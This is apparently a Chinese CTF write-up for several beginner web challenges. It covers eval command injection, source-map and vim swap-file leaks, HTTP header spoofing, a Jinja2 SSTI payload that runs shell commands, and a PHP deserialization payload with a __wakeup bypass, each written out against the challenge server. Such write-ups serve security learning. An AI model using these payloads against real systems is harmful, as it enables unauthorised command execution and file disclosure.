[Baby] SignIn
进来看到
按钮点击不了,想到去修改代码,要“检查“,但这里的右键和F12都不可用
还好还有其他方法
检查的各种方法
选用一种后进入检查页面
删掉这里的disabled即可
点击后得到flag
[Baby] Backdoor
进入,看到
有eval,利用命令执行漏洞
cnss=system('ls /');
获取flag文件夹里的文件名:
cnss=system('ls /flag');
获取flag:
cnss=system('cat //flag');
[Baby] Webpack
了解一下什么是Webpack,及其有什么漏洞
Webpack是一个用于构建现代Web应用程序的开源JavaScript模块打包工具。它可以将多个JavaScript、CSS、图片等资源打包成一个或多个优化后的bundle文件,以提高应用程序的性能和加载速度。Webpack通过模块化的方式管理代码,使开发者可以以模块化的方式编写代码,然后通过Webpack将这些模块打包成可在浏览器中执行的代码。
可能有源代码泄漏:不正确的配置可能导致打包后的源代码在生产环境中被泄漏。这道题就是此漏洞,具体利用方式如下:
进入题目,看到
检查,找到.js文件
知道其路径为:http://124.221.34.13:50003/static/js/main.c91fb7d1.js
访问http://124.221.34.13:50003/static/js/main.c91fb7d1.js.map
,就成功下载了源代码
此文件还需要还原,先安装工具
如何还原前端代码
请随便选一个文件夹(记得把源代码移进去),打开cmd
还原:reverse-sourcemap -v main.c91fb7d1.js.map -o output
,得到还原后的代码
找到flag
[Easy] Leak
得看一下题目描述
先了解一下上面情况会出现什么漏洞:
使用vim时会创建临时缓存文件,关闭vim时缓存文件则会被删除
当vim异常退出后,因为未处理缓存文件,导致可以通过缓存文件恢复原始文件内容
以 index.php 为例:第一次产生的交换文件名为 .index.php.swp
再次意外退出后,将会产生名为 .index.php.swo 的交换文件
第三次产生的交换文件则为 .index.php.swn
——————————
来获取.index.php.swp
,并整理其中代码
查看根目录文件:
/?cnss@30fc5b20a309996f3ab12662e3c4ac932c08db7f=system('ls /');
得到flag:
/?cnss@30fc5b20a309996f3ab12662e3c4ac932c08db7f=system('cat /fl4444444g');
[Easy] ezhttp
进来,看到
http的题目一般来说直接抓包,再去一步一步地满足要求
1
在文件开头把GET修改为CNSS
CNSS /Index HTTP/1.1
2
修改User-Agent
User-Agent: Mozilla/5.0 (Linux; Android 10; XXX Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/78.0.3904.96 Mobile Safari/537.36 MicroMessenger/8.0.0.1920(0x2800004D) Process/appbrand2 WeChat/arm32
3
修改Referer
Referer:cnss.io
4
修改X-Forwarded-For
X-Forwarded-For:127.0.0.1
5
修改HOST
Host: uestc.edu.cn
6
修改Content-Type
Content-Type: application/json
7
在最下面胡乱输入
8
给一个json数据
{
"name": "Alice",
"age": 25
}
9
把一个数据命名为password
{
"password": "Alice",
"age": 25
}
10
把一个数据命名为name
{
"name": "Alice",
"password": "25"
}
11
json和Cookie改为相同
12
先了解如何在HTTP请求中表示Basic认证:
构建认证字符串:将用户名和密码用冒号分隔,然后将该字符串进行Base64编码。
例如,如果用户名是 "username",密码是 "password",您可以将它们合并并进行Base64编码得到 "dXNlcm5hbWU6cGFzc3dvcmQ="。
添加认证头部:将Base64编码后的认证字符串添加到HTTP请求头的 "Authorization" 字段中,使用 "Basic" 前缀。 Authorization: Basic dXNlcm5hbWU6cGFzc3dvcmQ=
方法:修改Authorization
Authorization: Basic MTIzOjEyMzQ1Ng==
————————————————————
得到flag咯:
[Easy] CNSS Feedback Pre-alpha
进来,看到
想着尝试一下SSTI
${7*7}
a{*comment*}b
${"z".join("ab")}
{{7*7}}
{{7*'7'}}
发现第三个框存在SSTI,且为jinja2模板
这里利用Flask自带的函数和对象
具体看这篇文章,不是很详细,但还行
payload:
{{lipsum.__globals__.os.popen('cat /f1111111111111114g.txt').read()}}
其实直接抄下来,改系统命令,暂时还可以
[Easy] ezunserialize
先了解一个知识
将文本转换为 Unicode 编码可以帮助避免在复制粘贴过程中丢失特殊字符和格式
进来看到,直接给了源码
<?php
error_reporting(0);
show_source(__FILE__);
include "flag.php";
class CNSS
{
public $username;
private $i_want2_say;
protected $password;
function __wakeup()
{
$this->username = 'guest';
$this->i_want2_say = 'i_like_web';
$this->password = '123456';
echo "<br/> wake up! <br/>";
}
function __destruct()
{
echo "destruct<br />";
if ($this->username === 'admin' && $this->password === 'ctf' && $this->i_want2_say === 'fssmsli_like_web') { //wtf
global $flag;
echo $flag;
} else
echo "you are 2 baby la<br/>";
}
}
unserialize($_GET['web']);
请自己注意上面fssmsl的位置,其实是在wtf后面哟
这段 PHP 代码涉及了对象序列化和反序列化,以及相关的魔术方法。让我们逐步分析代码:
error_reporting(0);:此行代码用于关闭错误报告,这意味着在后续代码中,如果出现任何错误或警告,它们都不会显示在页面上。
show_source(__FILE__);:此行代码将显示当前文件的源代码内容。这可能是为了让您方便查看这个文件的内容。
include "flag.php";:此行代码尝试包含名为 flag.php 的文件。这通常是为了获取在这个文件中定义的敏感信息,比如 flag。
class CNSS:定义了一个名为 CNSS 的类。
function __wakeup():这是 PHP 的一个魔术方法,当对象被反序列化时会被调用。在这里,它被用来重新设置对象的属性。
function __destruct():同样是一个 PHP 魔术方法,在对象被销毁时调用。在这里,它被用来检查对象的属性值,如果满足一定条件,就会输出 flag。
unserialize($_GET['web']);:这是代码的关键部分。它尝试将通过 GET 请求传递的参数 web 进行反序列化。
我们初步构成payload的脚本为:
<?php
class CNSS
{ public $username='admin';
private $i_want2_say='fssmsli_like_web';
protected $password='ctf';
}
$a = new CNSS();
$b=serialize($a);
echo $b;
payload:
O:4:"CNSS":4:{s:8:"username";s:5:"admin";s:17:"CNSSi_want2_say";s:28:"鈥仸fssmsl鈦┾仸i_like_web";s:11:"*password";s:3:"ctf";}
因为fssmsl
序列化后会出现乱码
必须要对乱码进行url编码来避免乱码出现问题,而如果我们直接进行复制或者粘贴,会导致信息损失
除此之外还需要补上
private属性序列化的时候格式是%00类名%00成员名
protect属性序列化的时候格式是%00*%00成员名
我们只需要将序列化后的数据进行Unicode/URL
编码,之后再解码(URL可以不解码),就能直接解决所有问题
获取payload的脚本:
<?php
class CNSS
{ public $username='admin';
private $i_want2_say='fssmsli_like_web';
protected $password='ctf';
}
$a = new CNSS();
$b=serialize($a);
$text = $b;
$unicodeText = "";
$length = mb_strlen($text, 'UTF-8');
for ($i = 0; $i < $length; $i++) {
$char = mb_substr($text, $i, 1, 'UTF-8');
$unicodeText .= "\\u" . bin2hex(mb_convert_encoding($char, 'UCS-2', 'UTF-8'));
}
echo $unicodeText;
得到:
\u004f\u003a\u0034\u003a\u0022\u0043\u004e\u0053\u0053\u0022\u003a\u0033\u003a\u007b\u0073\u003a\u0038\u003a\u0022\u0075\u0073\u0065\u0072\u006e\u0061\u006d\u0065\u0022\u003b\u0073\u003a\u0035\u003a\u0022\u0061\u0064\u006d\u0069\u006e\u0022\u003b\u0073\u003a\u0031\u0037\u003a\u0022\u0000\u0043\u004e\u0053\u0053\u0000\u0069\u005f\u0077\u0061\u006e\u0074\u0032\u005f\u0073\u0061\u0079\u0022\u003b\u0073\u003a\u0032\u0038\u003a\u0022\u202e\u2066\u0066\u0073\u0073\u006d\u0073\u006c\u2069\u2066\u0069\u005f\u006c\u0069\u006b\u0065\u005f\u0077\u0065\u0062\u0022\u003b\u0073\u003a\u0031\u0031\u003a\u0022\u0000\u002a\u0000\u0070\u0061\u0073\u0073\u0077\u006f\u0072\u0064\u0022\u003b\u0073\u003a\u0033\u003a\u0022\u0063\u0074\u0066\u0022\u003b\u007d
payload:
得到flag
注意:全文我都没有描述绕过__wakeup
只需要把类名后面的数字调到比原来大就行,如题目中我调为了4